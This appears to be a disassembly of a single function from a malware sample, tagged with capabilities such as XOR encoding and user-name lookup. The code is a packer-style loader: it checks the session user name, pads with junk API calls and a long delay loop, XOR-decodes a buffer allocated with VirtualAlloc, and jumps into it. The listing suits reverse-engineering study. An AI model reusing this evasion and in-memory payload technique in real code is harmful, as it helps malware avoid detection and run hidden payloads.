Function at 0x4eb418
Capabilities:
Encode data using xor
Get session user name

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff98
mov dword [ebp - 0x60], eax
mov eax, 0x4eb668
movzx eax, byte [eax + 2]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x5c], 0xc8
mov eax, dword [ebp - 0x5c]
call fcn.004027c8
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x5c]
push eax
mov eax, dword [ebp - 0x58]
push eax
call sub.advapi32.dll_GetUserNameA
mov eax, dword [ebp - 0x58]
cmp byte [eax + 1], 0x6f
jne 0x4eb46b
mov eax, dword [ebp - 0x58]
cmp byte [eax + 4], 0x44
jne 0x4eb46b
mov eax, dword [ebp - 0x58]
cmp byte [eax + 6], 0x65
je 0x4eb65a
push 0
call sub.gdi32.dll_GetStretchBltMode
push 0
call sub.gdi32.dll_GetSystemPaletteUse
push 0
call sub.gdi32.dll_GetTextAlign
push 0
call sub.gdi32.dll_GetTextCharacterExtra
push 0x4eb6a0
push 0xa
mov ecx, dword [0x4f0668]
mov dl, 1
mov eax, dword [0x41a864]
call fcn.0041f650
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x4c], 0x1001
mov dword [ebp - 0x50], 0x11e
mov dword [ebp - 4], esp
add dword [ebp - 4], 0xb0
mov dword [ebp - 8], ebp
add dword [ebp - 8], 0x64
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
lea ecx, [0x4f0668]
mov eax, dword [ecx - 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ecx - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], 0x20a53c3
push 0
call sub.gdi32.dll_GetTextCharset
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0x15
jne 0x4eb4f3
mov eax, dword [ebp - 0x1c]
mov edx, dword [eax]
call dword [edx]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x38], 0x7b
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x50]
sub eax, 0xde
push eax
mov eax, dword [ebp - 0x4c]
dec eax
push eax
mov eax, dword [ebp - 0x40]
add eax, dword [ebp - 0x38]
push eax
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov dword [ebp - 0x28], eax
mov edx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
call fcn.0041efd4
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
add eax, 4
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
sub eax, 4
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0x15f8
mov dword [ebp - 0x3c], 2
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x54], 0x9057c
xor eax, eax
mov dword [ebp - 0x44], eax
xor eax, eax
mov dword [ebp - 0x48], eax
xor ecx, ecx
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x28]
call fcn.00407410
mov eax, dword [ebp - 0x44]
cmp eax, dword [ebp - 0x40]
jae 0x4eb5f1
push 0
call sub.gdi32.dll_GetROP2
push eax
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x48]
pop edx
sub eax, edx
mov edx, dword [ebp - 0x20]
add edx, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x38]
call fcn.00407408
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x38]
add dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
add dword [ebp - 0x44], eax
jmp 0x4eb5b6
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jae 0x4eb624
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
add dword [edx], eax
mov eax, dword [ebp - 0x34]
add eax, dword [ebp - 0x54]
sub eax, 0x5ff2
add eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x28]
xor dword [edx], eax
add dword [ebp - 0x18], 4
add dword [ebp - 0x28], 4
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x2c]
jb 0x4eb5f9
mov dword [ebp - 0x30], 0x815b0
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x30]
mov dword [ebp - 0x14], eax
add dword [ebp - 0x14], 4
sub dword [ebp - 0x14], 0x1000
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp - 0x10]
push dword [ebp - 0xc]
push dword [0x4f0668]
mov eax, 1
push eax
jmp dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret